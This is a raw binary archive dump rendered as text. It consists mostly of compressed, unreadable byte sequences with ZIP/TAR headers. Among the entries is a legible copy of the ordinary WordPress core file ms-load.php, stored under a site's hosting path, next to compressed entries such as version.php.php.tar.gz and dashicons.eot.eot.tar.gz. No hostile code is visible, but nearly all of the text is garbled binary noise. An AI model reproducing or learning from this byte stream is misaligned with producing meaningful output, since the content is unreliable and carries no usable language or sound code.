heL6L5jfgg|0_w{,1P{m-&9Ed,3+Xc&~!gp뾦b󥾀{_u'@؍|ɕ|] rv1FD#XL`ZQ](XI5HH+厚h;p]_غ>mM_ׁi˨7C-^ =-͞vm Xx~ §&%efq؀laحWel++HCR|aФ>wӿ y @MΣp^Wa[vVϚPwp/=֞)MxeAr{0Inza62@OXC.+‘E([`quM{lf{;N?;>ɐwdT~9 ľ90(ӐAvDOʹ W ;vF5TXr3;te6$[{0[1bㆁ΅T<w_ h/\o&6;bd߻bB]Bٝ;tsFvW/_{ui~ AW11hT끶uch<ȲG_⽧ցa yTdɳ(,SiJ )Q2d&&Ce b9{TӦm aFqpI{F1lAISMP[QxE d*_C*D-b"pX,yTҽ+jOJ>24}&D)0-b&+ h>_v#Q㿀3F0f83-nfƷP&eqn|z{q/vYݤt$ngd)LȵW)oT?-]oE1oNߎSlܓTh)wTB^lI4[eK"@T[ي26ܺe?6A3i؎lzMv4em,hx9hŽ N˖TCcѧPϑRDٵSK^Gkw^;9Lڣ4bHRIsYc.Z= "RKb@ldUԐ,)TAI*G ꊥ 0Q۸*|X5m#Y{!|[5c^seftV]G-(] (Ĭ"i}rZQUX9j-ފ e4Enz#q^bUn:l.ۣiF>I}i>Iw?'e)EK̲)N}Pc@2|nXOŎY+Yw@ b"J^4U1GN|zdK&dL/FОiӛf[9au@5{ZxZ0?Hye8x۵ ǎҜ$o^]e$:+_υ`\J x|^v q!JYd-zBJdy42C 7n GUj-S- p#3m4Ag -ϖ#:L%f0]<KS̞!;[j Npږnx]p8)AC2c35bo_n,Zzs:xJ*Q_:Dh5s3Z$ǎ'\ \_͡Dʼ|+9sDA|yI}EZxZXV!*(NX߯_~y*PK $[٪TTms-load.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/ms-load.php000064400000046653150547700500017222 0ustar00deleted ) { if ( file_exists( WP_CONTENT_DIR . '/blog-deleted.php' ) ) { return WP_CONTENT_DIR . '/blog-deleted.php'; } else { wp_die( __( 'This site is no longer available.' ), '', array( 'response' => 410 ) ); } } if ( '2' === $blog->deleted ) { if ( file_exists( WP_CONTENT_DIR . '/blog-inactive.php' ) ) { return WP_CONTENT_DIR . '/blog-inactive.php'; } else { $admin_email = str_replace( '@', ' AT ', get_site_option( 'admin_email', 'support@' . get_network()->domain ) ); wp_die( sprintf( /* translators: %s: Admin email link. */ __( 'This site has not been activated yet. If you are having problems activating your site, please contact %s.' ), sprintf( '%1$s', $admin_email ) ) ); } } if ( '1' === $blog->archived || '1' === $blog->spam ) { if ( file_exists( WP_CONTENT_DIR . '/blog-suspended.php' ) ) { return WP_CONTENT_DIR . '/blog-suspended.php'; } else { wp_die( __( 'This site has been archived or suspended.' ), '', array( 'response' => 410 ) ); } } return true; } /** * Retrieves the closest matching network for a domain and path. * * @since 3.9.0 * * @internal In 4.4.0, converted to a wrapper for WP_Network::get_by_path() * * @param string $domain Domain to check. * @param string $path Path to check. * @param int|null $segments Path segments to use. Defaults to null, or the full path. * @return WP_Network|false Network object if successful. False when no network is found. */ function get_network_by_path( $domain, $path, $segments = null ) { return WP_Network::get_by_path( $domain, $path, $segments ); } /** * Retrieves the closest matching site object by its domain and path. * * This will not necessarily return an exact match for a domain and path. Instead, it * breaks the domain and path into pieces that are then used to match the closest * possibility from a query. * * The intent of this method is to match a site object during bootstrap for a * requested site address * * @since 3.9.0 * @since 4.7.0 Updated to always return a `WP_Site` object. * * @param string $domain Domain to check. * @param string $path Path to check. * @param int|null $segments Path segments to use. Defaults to null, or the full path. * @return WP_Site|false Site object if successful. False when no site is found. */ function get_site_by_path( $domain, $path, $segments = null ) { $path_segments = array_filter( explode( '/', trim( $path, '/' ) ) ); /** * Filters the number of path segments to consider when searching for a site. * * @since 3.9.0 * * @param int|null $segments The number of path segments to consider. WordPress by default looks at * one path segment following the network path. The function default of * null only makes sense when you know the requested path should match a site. * @param string $domain The requested domain. * @param string $path The requested path, in full. */ $segments = apply_filters( 'site_by_path_segments_count', $segments, $domain, $path ); if ( null !== $segments && count( $path_segments ) > $segments ) { $path_segments = array_slice( $path_segments, 0, $segments ); } $paths = array(); while ( count( $path_segments ) ) { $paths[] = '/' . implode( '/', $path_segments ) . '/'; array_pop( $path_segments ); } $paths[] = '/'; /** * Determines a site by its domain and path. * * This allows one to short-circuit the default logic, perhaps by * replacing it with a routine that is more optimal for your setup. * * Return null to avoid the short-circuit. Return false if no site * can be found at the requested domain and path. Otherwise, return * a site object. * * @since 3.9.0 * * @param null|false|WP_Site $site Site value to return by path. Default null * to continue retrieving the site. * @param string $domain The requested domain. * @param string $path The requested path, in full. * @param int|null $segments The suggested number of paths to consult. * Default null, meaning the entire path was to be consulted. * @param string[] $paths The paths to search for, based on $path and $segments. */ $pre = apply_filters( 'pre_get_site_by_path', null, $domain, $path, $segments, $paths ); if ( null !== $pre ) { if ( false !== $pre && ! $pre instanceof WP_Site ) { $pre = new WP_Site( $pre ); } return $pre; } /* * @todo * Caching, etc. Consider alternative optimization routes, * perhaps as an opt-in for plugins, rather than using the pre_* filter. * For example: The segments filter can expand or ignore paths. * If persistent caching is enabled, we could query the DB for a path <> '/' * then cache whether we can just always ignore paths. */ /* * Either www or non-www is supported, not both. If a www domain is requested, * query for both to provide the proper redirect. */ $domains = array( $domain ); if ( str_starts_with( $domain, 'www.' ) ) { $domains[] = substr( $domain, 4 ); } $args = array( 'number' => 1, 'update_site_meta_cache' => false, ); if ( count( $domains ) > 1 ) { $args['domain__in'] = $domains; $args['orderby']['domain_length'] = 'DESC'; } else { $args['domain'] = array_shift( $domains ); } if ( count( $paths ) > 1 ) { $args['path__in'] = $paths; $args['orderby']['path_length'] = 'DESC'; } else { $args['path'] = array_shift( $paths ); } $result = get_sites( $args ); $site = array_shift( $result ); if ( $site ) { return $site; } return false; } /** * Identifies the network and site of a requested domain and path and populates the * corresponding network and site global objects as part of the multisite bootstrap process. * * Prior to 4.6.0, this was a procedural block in `ms-settings.php`. It was wrapped into * a function to facilitate unit tests. It should not be used outside of core. * * Usually, it's easier to query the site first, which then declares its network. * In limited situations, we either can or must find the network first. * * If a network and site are found, a `true` response will be returned so that the * request can continue. * * If neither a network or site is found, `false` or a URL string will be returned * so that either an error can be shown or a redirect can occur. * * @since 4.6.0 * @access private * * @global WP_Network $current_site The current network. * @global WP_Site $current_blog The current site. * * @param string $domain The requested domain. * @param string $path The requested path. * @param bool $subdomain Optional. Whether a subdomain (true) or subdirectory (false) configuration. * Default false. * @return bool|string True if bootstrap successfully populated `$current_blog` and `$current_site`. * False if bootstrap could not be properly completed. * Redirect URL if parts exist, but the request as a whole can not be fulfilled. */ function ms_load_current_site_and_network( $domain, $path, $subdomain = false ) { global $current_site, $current_blog; // If the network is defined in wp-config.php, we can simply use that. if ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) ) { $current_site = new stdClass(); $current_site->id = defined( 'SITE_ID_CURRENT_SITE' ) ? SITE_ID_CURRENT_SITE : 1; $current_site->domain = DOMAIN_CURRENT_SITE; $current_site->path = PATH_CURRENT_SITE; if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) { $current_site->blog_id = BLOG_ID_CURRENT_SITE; } elseif ( defined( 'BLOGID_CURRENT_SITE' ) ) { // Deprecated. $current_site->blog_id = BLOGID_CURRENT_SITE; } if ( 0 === strcasecmp( $current_site->domain, $domain ) && 0 === strcasecmp( $current_site->path, $path ) ) { $current_blog = get_site_by_path( $domain, $path ); } elseif ( '/' !== $current_site->path && 0 === strcasecmp( $current_site->domain, $domain ) && 0 === stripos( $path, $current_site->path ) ) { /* * If the current network has a path and also matches the domain and path of the request, * we need to look for a site using the first path segment following the network's path. */ $current_blog = get_site_by_path( $domain, $path, 1 + count( explode( '/', trim( $current_site->path, '/' ) ) ) ); } else { // Otherwise, use the first path segment (as usual). $current_blog = get_site_by_path( $domain, $path, 1 ); } } elseif ( ! $subdomain ) { /* * A "subdomain" installation can be re-interpreted to mean "can support any domain". * If we're not dealing with one of these installations, then the important part is determining * the network first, because we need the network's path to identify any sites. */ $current_site = wp_cache_get( 'current_network', 'site-options' ); if ( ! $current_site ) { // Are there even two networks installed? $networks = get_networks( array( 'number' => 2 ) ); if ( count( $networks ) === 1 ) { $current_site = array_shift( $networks ); wp_cache_add( 'current_network', $current_site, 'site-options' ); } elseif ( empty( $networks ) ) { // A network not found hook should fire here. return false; } } if ( empty( $current_site ) ) { $current_site = WP_Network::get_by_path( $domain, $path, 1 ); } if ( empty( $current_site ) ) { /** * Fires when a network cannot be found based on the requested domain and path. * * At the time of this action, the only recourse is to redirect somewhere * and exit. If you want to declare a particular network, do so earlier. * * @since 4.4.0 * * @param string $domain The domain used to search for a network. * @param string $path The path used to search for a path. */ do_action( 'ms_network_not_found', $domain, $path ); return false; } elseif ( $path === $current_site->path ) { $current_blog = get_site_by_path( $domain, $path ); } else { // Search the network path + one more path segment (on top of the network path). $current_blog = get_site_by_path( $domain, $path, substr_count( $current_site->path, '/' ) ); } } else { // Find the site by the domain and at most the first path segment. $current_blog = get_site_by_path( $domain, $path, 1 ); if ( $current_blog ) { $current_site = WP_Network::get_instance( $current_blog->site_id ? $current_blog->site_id : 1 ); } else { // If you don't have a site with the same domain/path as a network, you're pretty screwed, but: $current_site = WP_Network::get_by_path( $domain, $path, 1 ); } } // The network declared by the site trumps any constants. if ( $current_blog && (int) $current_blog->site_id !== $current_site->id ) { $current_site = WP_Network::get_instance( $current_blog->site_id ); } // No network has been found, bail. if ( empty( $current_site ) ) { /** This action is documented in wp-includes/ms-settings.php */ do_action( 'ms_network_not_found', $domain, $path ); return false; } // During activation of a new subdomain, the requested site does not yet exist. if ( empty( $current_blog ) && wp_installing() ) { $current_blog = new stdClass(); $current_blog->blog_id = 1; $blog_id = 1; $current_blog->public = 1; } // No site has been found, bail. if ( empty( $current_blog ) ) { // We're going to redirect to the network URL, with some possible modifications. $scheme = is_ssl() ? 'https' : 'http'; $destination = "$scheme://{$current_site->domain}{$current_site->path}"; /** * Fires when a network can be determined but a site cannot. * * At the time of this action, the only recourse is to redirect somewhere * and exit. If you want to declare a particular site, do so earlier. * * @since 3.9.0 * * @param WP_Network $current_site The network that had been determined. * @param string $domain The domain used to search for a site. * @param string $path The path used to search for a site. */ do_action( 'ms_site_not_found', $current_site, $domain, $path ); if ( $subdomain && ! defined( 'NOBLOGREDIRECT' ) ) { // For a "subdomain" installation, redirect to the signup form specifically. $destination .= 'wp-signup.php?new=' . str_replace( '.' . $current_site->domain, '', $domain ); } elseif ( $subdomain ) { /* * For a "subdomain" installation, the NOBLOGREDIRECT constant * can be used to avoid a redirect to the signup form. * Using the ms_site_not_found action is preferred to the constant. */ if ( '%siteurl%' !== NOBLOGREDIRECT ) { $destination = NOBLOGREDIRECT; } } elseif ( 0 === strcasecmp( $current_site->domain, $domain ) ) { /* * If the domain we were searching for matches the network's domain, * it's no use redirecting back to ourselves -- it'll cause a loop. * As we couldn't find a site, we're simply not installed. */ return false; } return $destination; } // Figure out the current network's main site. if ( empty( $current_site->blog_id ) ) { $current_site->blog_id = get_main_site_id( $current_site->id ); } return true; } /** * Displays a failure message. * * Used when a blog's tables do not exist. Checks for a missing $wpdb->site table as well. * * @access private * @since 3.0.0 * @since 4.4.0 The `$domain` and `$path` parameters were added. * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $domain The requested domain for the error to reference. * @param string $path The requested path for the error to reference. */ function ms_not_installed( $domain, $path ) { global $wpdb; if ( ! is_admin() ) { dead_db(); } wp_load_translations_early(); $title = __( 'Error establishing a database connection' ); $msg = '

' . $title . '

'; $msg .= '

' . __( 'If your site does not display, please contact the owner of this network.' ) . ''; $msg .= ' ' . __( 'If you are the owner of this network please check that your host’s database server is running properly and all tables are error free.' ) . '

'; $query = $wpdb->prepare( 'SHOW TABLES LIKE %s', $wpdb->esc_like( $wpdb->site ) ); if ( ! $wpdb->get_var( $query ) ) { $msg .= '

' . sprintf( /* translators: %s: Table name. */ __( 'Database tables are missing. This means that your host’s database server is not running, WordPress was not installed properly, or someone deleted %s. You really should look at your database now.' ), '' . $wpdb->site . '' ) . '

'; } else { $msg .= '

' . sprintf( /* translators: 1: Site URL, 2: Table name, 3: Database name. */ __( 'Could not find site %1$s. Searched for table %2$s in database %3$s. Is that right?' ), '' . rtrim( $domain . $path, '/' ) . '', '' . $wpdb->blogs . '', '' . DB_NAME . '' ) . '

'; } $msg .= '

' . __( 'What do I do now?' ) . ' '; $msg .= sprintf( /* translators: %s: Documentation URL. */ __( 'Read the Debugging a WordPress Network article. Some of the suggestions there may help you figure out what went wrong.' ), __( 'https://developer.wordpress.org/advanced-administration/debug/debug-network/' ) ); $msg .= ' ' . __( 'If you are still stuck with this message, then check that your database contains the following tables:' ) . '

    '; foreach ( $wpdb->tables( 'global' ) as $t => $table ) { if ( 'sitecategories' === $t ) { continue; } $msg .= '
  • ' . $table . '
  • '; } $msg .= '
'; wp_die( $msg, $title, array( 'response' => 500 ) ); } /** * This deprecated function formerly set the site_name property of the $current_site object. * * This function simply returns the object, as before. * The bootstrap takes care of setting site_name. * * @access private * @since 3.0.0 * @deprecated 3.9.0 Use get_current_site() instead. * * @param WP_Network $current_site * @return WP_Network */ function get_current_site_name( $current_site ) { _deprecated_function( __FUNCTION__, '3.9.0', 'get_current_site()' ); return $current_site; } /** * This deprecated function managed much of the site and network loading in multisite. * * The current bootstrap code is now responsible for parsing the site and network load as * well as setting the global $current_site object. * * @access private * @since 3.0.0 * @deprecated 3.9.0 * * @global WP_Network $current_site * * @return WP_Network */ function wpmu_current_site() { global $current_site; _deprecated_function( __FUNCTION__, '3.9.0' ); return $current_site; } /** * Retrieves an object containing information about the requested network. * * @since 3.9.0 * @deprecated 4.7.0 Use get_network() * @see get_network() * * @internal In 4.6.0, converted to use get_network() * * @param object|int $network The network's database row or ID. * @return WP_Network|false Object containing network information if found, false if not. */ function wp_get_network( $network ) { _deprecated_function( __FUNCTION__, '4.7.0', 'get_network()' ); $network = get_network( $network ); if ( null === $network ) { return false; } return $network; } PK $[ے[66version.php.php.tar.gznu[Mo@{%bHWDAJA8 TmŻM' ח3ﮝ.UUȍ-icwZfe֭lj']ag#oN& 9OxwrO%FP_il(Z ~5хH T )QcA Ȓu0CaYey Mخhno slT:^<3YdwR͐64|Aa`GR(j1"03s*aJJ"A Tj(0'ג(%833"6溽wx 6& ]yViOB֔+*AJ07tc垕'L' lC ɟhw!^zy~v}9P2%q^"|I#oO:M!.gߕ] [k Z(6w {m!|h7t #QA?A"lƒǿ|?vF-uv7;s;#6_:蠃~V߄ PK $[-~dashicons.eot.eot.tar.gznu[ `U0W5sLKS3#zߖs=^+Y=d3I6GX$$B VH•HO> U͌FH󺫫U^;552uٳO<63=䙹sOOwz~xjngF\,2~tTvE2V-JJFGK/_< I"MBP"kH~Q<<|;y%#71DNI2ONȓ& G&,= 1Q 9 wgS)2F~FCFgK!vםGG'>yg_qG^"!J/!}ĉ I|OđSSx2!_P~PvAxD@AoWcVf1~s56rZgx l2" 6r|$A }MQq+' } OkpyF~sdb\,?m'!.ߩ{$@wqkKYċV "^r˛.O\u{%~eÕMW_ޫ]}gkkk]xk{Y%eQ62ze꾫ǮZk|-p-um{m-*d+}>M?C?~@2T%-Ԅ‚F¢(4M#~&E']ɯ/ԥn'1zA нy1It<0ϒ#wлH>M_ t/F{C!`~%`yȏ'hO#2(9ru*4O n:GIp!!E~|&'U"G 3t3RI~Gwӝ4@# v Ԥ6-C Kd\ wAMT*ZG&ϐבw$o"O'9^$' ?B^ o&&&?D5m]}|| c; tN(inD~$L~%De` J 5| Ci8R!ejK4B ir;#y2}l %_$+d3dl$[6l';h8"y/9O+h9:D^E%?L6:HWO+S"A&S oT!?I~n!'C6'`|k>J?+t#F>O>K I/% *2tV8??1~A_xb& [8 #]8'2LaU7U/dY8 ~ p96!+d8!AWCS9&"`@9ʁgif5Ɓs`1p|FV8f#Ǒ@0I(o8;Xf8~$Yp@r{<d0*Yn@ߒy du`c:2Yr\MV8&PZu9P"u\@^Y`|ā`7sz@Vp@VrAVqjAVsAVwp BV'8ם.}q;9du7gp(YJ^;8"9 #U@!dwrطs@,G8P#G93pzž ^+9 X:@=b=ȁb{~0cߣBI@1q@ 9Xԛ8'Փ@c9Y)isr@Op7r9P 9]'98P_Os7@r<ˁ`9~rr<ǁ`9^Huqk9P@q\A\< 7r XY!\Y}KdG8DVHoY} [9EVx-vuwp wrH^@FEn{8P@@?-rg~qc80 #) ,r\8H.S$3*e/#( -7]s~\pΓ\8J.G97J./%cC%W%Sk%%3%%{9wK.8K.9K.8K.q.\arypq-.89PK(e p& x {rjYx8N_'W$+2pzr8|r%x}r%ȁC+ +ĽW+6 e@) O+iJ:r[\r@y +ǁb8Br\@ͮsX&".q)\)sy\pɇ\d reȕ @q@9,n˱zˁ`=rH\> {9Fz#@F#Wri\m=@#W_d9r^xq\}Hz1@@$W8DH8lHNs C":Á`^pYOpi\=ˁݽ:$LruȚ9 OOr\}4 c3@:%W@N%W_ˁ`=_ρb?Yr ȿ@%WHq  06 oR1 2"Vwqr4 Q5zHH.MQ ykoppi\9\N k*5/ɵɵ ɵcZZHdr-ʁ@fs 8/9/8kxkY^ȵps ߃s>Ե (kȯy<]p.r 8hkeppXW<vr X߻8PL6yr{9v -tMI !.[_ JFٮQVޡ|DMeE/yރGg?}%Ǽ^1Ǵk}oO!%cxɌ5l΄ d#Ⱦuvt4z8{joOۋ]دǾոCZ_9_tǺ3s=?HGO'ޛגj;1YKD˩Xpj!GӾW33g>7f3zsޒ~d7 s{b67c>;XWv W ~i mC<|fß7|moNJcicWwnc:_+>Z|w׋_*JJJ)g'(Tz+*W_nMݛʛozl󛾰6ͧ7gs[VmoQјLNqw~mWl>뛷n۾|?^nwΞ޾OKwfK?o:P?ҁ/!ܱ/߫NT?Q¡С}ԝ;?v8pxxwѻ#G֊5o^}ϟMw% GFMjPP[nQ^boDJ%=:st~2M`m~,<x~X  Qэ>kccUx4écxaojŽ.ڣH&D/0&cJ-dlFux4"gŲyQZjjZfg>J4s++u<:RUh\eO {]},ivtD"0tAo=Z(l)J[lN؜ ]NԩSzݙvب.ZbHEzGgl/ L?H̙;}.57wXWM! .}) {VCzOl׮tG"];=zswݑGAɵAwui临샟C%Ơ" AځXi-+eo>:zTE?/%dODJKE,ly͹e(h;(~yJ~Pv NѬCGཙ=?H!ب ԻhJXF;6sdw=l㻳ݽ̞ݙ4ry!563Lw':wDtpW"m!Vq[} =3!]Ui=Q#I o/'6,p8QQ -TCwŠ-8Ig]L4W|̗׷!wmwz,. g >U;dpT%EMG6'BHw&;3S(n KI7$'>$нh+dFry܎6}vYۥ$b^YH5<0 fdOO9Օ͌d$ ZT;fɔ'W)[W[p  y@^VIRd_ںvs2En#z ~pHx_V%ˣhݲE'Τ!s,xREKV$rh~]>Ul<"2aVDP26*K aA)`6(KBnвQ;SD DdH$turR8~50d9ᣢO#%'}y!vLʲbqaW DwnX:a]>T}zEPO6izeI%Av%lH iQ9ISm> ӥ4--UZ4\`XŚ[wRcuxT&ZC`a:s.VZ++4^ƥE䵇 j;hJ3ݕ qґF<_-t~[t˗ ɺq^6x]\faYfծk'>4 lubsr[0}02hԕ bII,GW=vw z>|}LEOĩUOeYH=Wջ74eItSЃ)bZ<><)Kc=@&B4W`ŞXnSV+[jrFiREVbqaKvթV< +LiՆE!9LPZimg.U#ġ *8 !\)ܥ%Y9KKN!40j zz=LqC5?ve%AfgY 6S<3UȏO yzj}:R R'*4PED3}}`aZ:ev Tg9&6 xSU1^--.O:P6+Q.Q@B*$ն#G@U mvG=#sZaͻ5Pr*i%"j!_@S^'&%ygy9ݑ E# //&A ,6`xbcG @7gWBa[$ᦶlI=пu[ p ҮtigD{D>rzx8ΕHݛCwmjٗ!_I[ cvaX0X' JTCME%O߬}{ w 7vy*O͊ەcp>vbT4gDjס``6Q:Vk,K+M(jcx]G"%藀#% 8Ǒ+jJr,^1],+&bS0څ4yHd"| | <$bxPANCQQmi9}BCasKQCl\v倨Y>-^鴬1ӲOTUME<^7AU4ӐuвC1@i`N?$Ʀ$1/_O˴_ yB  o/߭*Ww򺬘 9]5ǡmdԘeL,ي 6L)ij cHۢJ|uK R+v71;p"J}i5*Ґ^֫5:Ж5_I[ib\Jy|Դ N Ϛin~Uw(Iɡ"pQƊ} tͯo,~MEse5,k{zol0#? ~>rj3VD얚nIݎHXpp[g(.LPʒFF6LSGq#㩡%&Иͱ4KlF936u\*rJ!W$HOkv@ g]ʕ2 Y@pReRBOfOD<$%*rЈPJx퍋A1Y|WH}bЌ$mErDXl"ţNG7fcS942rNWrWGeRW "h|OdI%^͞ G^Mu "=GÊ!x#)zDq\Yu1vg*( +v 8n)f%Sބ=yyfJ tEpcZ w(oPJ8zxdGt0ZSq-ښmxn麕/C|`4O>;u)o,l?Y$o){a=rȨaSHK._0}[̀o!=bvA<0F6FmݣxEYG=A=5]WPyM@:j,A-sKgc6ppD¾@Fh D p%r/Nu)/C9G، N(ق6إa!SFv7eFo-Z6o6 ]:CZdpP7 dP{;^0;Q-ofᠾL%jl5Q ?\{(=ڟjԬ.7_~m->JO~.ORDb@wO 1u~cmHF"Gi,A<$`Mw~UsB A}.fGgޑvE:+-1A?yoQ0Nʭk#L?a~o$h  R1^i2К"EoAw2r.yy #:^ rw\d|Ş|P5I+COl :#\ lm# >\~zGLȊ ESUMq9;%+/13㘑U:vQ.Y6T3FshBRMKio kt?pq{|ގƷ5կy51 cM{?imx\K~x}N [p,vw[fb1 Bp(PA)'jcG&E% =(/wBƦ7Cؓ1`l,?q(#_퍆ޯĺcf aMNt(H=A,M@ʂ<8%c%!ɪtow5TX@xrO<̎+1ԩ["ẓ\ȇbV-P2|n $Vc L.O՝߳=X-sŜpD*0T3vwWӃ{z,8`( }vs_$nEiq=-㲜,]hgF8c$ @௕JU1q os[m{l ؋+rX5YTdG%Y)Ax d Z<[YSCƆL@H7ĝTfxÆLiÒT @t\2D rీ,PQ-[S~Nt>U mʻr,%YV$ _=kvOPؚYt^|.:$D[lr&- *jQ2Eaiozbఄu04ۂp]I?whCI;fA{nҚO[d  W`uWS N\!ׁ67 <ltCd,C~)%2z)pV kʨ6kYՀrXAz^cLrO47?yfnc3.2 ^/CYۥue{,-w!Sn͝INceyCAUFd%FqhVzJf(\BuܬJs@VhMGؠA;B?E~Ct#J?=n(y[):0aR 嶕C]0vdQJF-^ŋ#c\m9Dd3Nv=Nd 3RdQ=BjnY\ifaeep&JYt,k&8QU殺;=ŊϙިuTeMӡ N~2O? ,WU-;請ט.?u{܍Cq(r&wCJG}V:eE Sm Ugf@-TP~V375'z)#uwx:[*.|<-yWގq~TRc:?>HDN ]p.|Q=[cO(uռoCEnW|Z"隡}Š3+ѣnDiwBURC q&9gV Mv|n`;) cB4Á)kAMQi,'%8}P*baM f'#x\v0J^=5̮Hj,q-/DJ(u5T7>I ,?G^ B8<R<[WՐbpR$ XV(J> v:}lzI! ,gU<)Y\xŇ*]["<$4n*3EAh|NyVq*.07 [J)]]XiP.OO;n4Vty-]`eUA>}r .AK">9Vgm\ħ[; BYw^ ɟJ@wɱR,+.RqQɄ,u.*X }F,`Y<^ J4L/o@A0ޫUMW .C^U?We' E:f#t_O19w ;'`x4H߬GB-oD(нF *Kd !3zJXk|] !?ݠu}>Ct@"EhvI$(C;p^3F[ͬR$ڋ(;\/?J'#sΞ g^ `ynΙֵ̘+˨.qEΩ[Ρn`W"s*@FAF#m.h]I)+Y^Z}Sjش$(0 8ZPanC,/ۮU0uЏBZWR YW[b(7&W r0k\жՃkzn]AjKY\Y:(.Hoڶ:_uZe[+gGtn]V/-i=T`rf =NO ;F\;:jF0i(HkF yN4h:xef9ٻFZ md}P*UZC@UA ኾqYY5C׉Юq o/]X[b7JLy5)WU['t k`6`Dj^>iyyx~qVK" vRZ:!ek;t<\Iع!aU Q%e˪e}s4'z{*}$_WoHɆ%[ᨐx5{?x0P[2"(v؎ʦֱŌo߭Q߿b??qwk _/k^G􏀿 Wp6.eqTR7j׀]'j -;hҪ8Ś7{ ]\C=<TY~kbYLûqK=oJm q1fkͬI3]qz( 'ؑ{ۭݕz_}> 7PI qm J+wC,.9dۉ9 nJA, nx@oG;xnu9_J~.^N>'1KsfJ_\#pUuN&]Z;]ʳWܒRH+(sT-h(x.B}ԦMpxZ-^t36TYy`ɘ2? y@?]d4z)~F i243+ڹB"aYl@Xb}:qF-2q-9io-iM?)Y#6~>UTl(䆡A!CMԣ=t.3-C+F0dA LmjNoꗚGcffPƸ(fsld?AkwoXA5WG .XaoM:l˒FsvA+8]a:fSBKm3Y8/sg0 תnݭZgr=L 6kjWtiyi;c;Y߶P6]䚑rf "|3R"QJpo diG)y2 W5f;w(y5q Kp bdj~MS EE@5G*ݮC9_dِdYr95SU9(OT0N \52Z0Kn!y#ADC;b# jnt;ko[[G"5uLq3>h|=ד@zttX~\;lt5hŬr5De/GWV&nbv7tӴΨnXLKNr($c+\!leTӠpn %;izN6 d,(65="ذ.`y>"ۂ5^X˟ MD[`z(@Mx= `wT# 7kۃ[{r`h6 V)ئu_wiT:8[_]XNJbOۇ"48^wm.;`D樠;\&(  Q/N,9_G=7e;l i 2lq$vqzDhAѴOP$s\9 |(Go^A *j ? a` rl'Ѥ^" \dVE8ʋ?3Gy|QK}mItϊ]Og`s$jAPB>D6 ?{0qI0"Y:E)h|}\ab[:R(,5 |D":3 suSv1uh[wV|rǷPkIC*RJ{*mue\ZjpPjt`|Gv]WC-J)'U`^S=՝VДtU+VߪZ=ٯ+᠜ȂWƴKvcgmKn+/;:ķlޱpfz]h|>5F7|_mȡw^ר1V>Qo(۸T\ 8b8{|r+a7P! 7Zej;?{.qӽhiiwrχvJ6sAʲ=麍K]Zv|k]'Uwݵs@',P.)ͶR`B~v>kc~wTN;T-՜8@g} D,P* JN/m/Fa0}&m%fF:)ӣ0BVXWE80e-qҥeAuؔ@[ 櫣Ԝ@ORKR5N=Nh:ovEb?’G kz(VӳH\̒}ݭƳ1g KcvޥF}qYm~* Z8훬q8.Bl{a ن>.w/KW4bF0meЕ"F"4O'&du;-z>g>gg>;;1Z )ەC/o,&+:]i,L8Z\+Hù2 -BXM/%JJ\8"\ G +p&5yu:0WQn6jԱl |4qдh7$I6G2ٝCx&.GK~)[{S@ɺWo} {>.Y܅b[ʴ8+i}xj|h [,Evdr|x8\Sd2).Me[Mk&n ňݒ*}g/}Zi'XHnH䃉@D6'=ozؠH$|M_#_dv( =+-]:~(s9-`v/_yxƇ+?7&-4f.6s&v[^w;9O/yyЋp)kߥ\lQ0 kAO X"Iq_#4ϖGQt—/8ړ9F{>%胠WC)cq3%% vL4p v{D}K$7DVqƍ#P+jt!>Zɋ"mOM%_h-tv}Q#*V*3;ӑýZiO+JR*MŴQG9* ҉Xzps#_FT;t@w)1%mc͹p6=,X% w >?.7O%L?T>.rQRr$$RNDŽ5mlF2* ƼtXbd\<~*陭5w<+ꢨoU&=}=j,Ht7];6z|%R&Gt+G$1m]C+,ʦwDBmؼ̛u G<kT.qxULq5t#_M2MͿbvQkY*Yt0k.GҮGt k[okl-sOLhdesI_wvqz-~;هS2CL3^iΊ)Ls3q47`AuIj>Wjݛ tA1t Fg9षxɧz5۔}~EJZFN2]xq#YXlscRGeCdx$U= tUI,~*_ȚpZfy.UcF **tv,bAjt`x|Te u 㓅joA/)]UkRթ֦q`m8c G:kbp[u sw Da- YtĘgB y@N<]Xx;%5nAk 9h~'{F{`%˹;m-*Bʅ#]:ŋn탐i$Ҙ~y#oY;yť69-C÷AS,Cu G{7))Yqo}H,` \PQIZ# R8&p{#VtJ-ʨ)ƥ'pp;oߖ O7m/Ml=ݙ۰Nkh8]I%f^3HUF =w$ Е{{<gE! uC0 Cݹ<r-.e듵=bm,:r dRD&"zjK5ԫq5ע-|x3OEJp.5ui 5V*!۸.]˗.MsIpѹr_^:CJ/2dzSzpf? _4WQ,vȶ,Ԥe\ 1{UnR,IA$xl۶ǞÎ5;b֚И^3p7j! 6a{$,⛬߮%kZL;s}zr3IO^)2)8%ٲoČGǻp̖3{du)Kbx*8u 1QGk5LnWl_>ՎQr˶ܺ)idnd;DB&ѱG(%oS^VS8QSj^f?Ewm_Wn_7 ipqHZp. g.30o3qsf(d%=Aڶ]Яl#0& R^2^*wt:4P:tGȍi$& r6...}ȲT#g1/tZ^54]^-q_κVYY\yl !SuPx 4Y_Z/ŋSۡpo]Nۊ1_g̘)fy uvtH^SidcQؕ_T5~]TUXDZEmjf gׯk~-Y y諅ϮQ2%vF|>fZæ6xfΡ ۩\]Hx,|p?EET$ 1]+g̘J1SVB Nlذ)ⅺ>ѥrf+*Zo+~9${m>УM/xdPQذyC  uu8=j./ef2CT1_LI"{s{\OoOk[MK.0ilphy>g% W[VNc|=?7\^|h3 0EKPšx<u /,.6yw?YHk^-EsZeuk-d^h-2تfםpZwJ,q}p4yX'*A<@x w^7y;};{g@͋J*BTw?*D\Zu=]LĆ?%9}V#A/ AnYVx%nJoU[vwf{<$z{dp$f&br=q39CV(6@޷a/g۶7x;2 a-š/׬ <0{"E憌Nf0hJ>cIz7-11\p4s*P#<{"h=x Ww}<4bl׮k&5i)a_F!٧?mŢ _Z`Wgg'V6=n:ryX6c5ݕ@VяE#@)2U$qHoojcBHsEpO;b\sVjKE6;4^˷*r)L8<]vltb{Kӂq(PMsL~ce>>/9:ـH0}Cz 51ںSK %ANļ؍s&>Jk9A+,'{JmV~W tC !+ߏ Dl4<ߔθ9D7tǝh pvCA+XpXw+>U;t$96]Ɔؾ̅GÉDLRƝ]Ƨ$MI&t! ~5O$Ɉ:]60 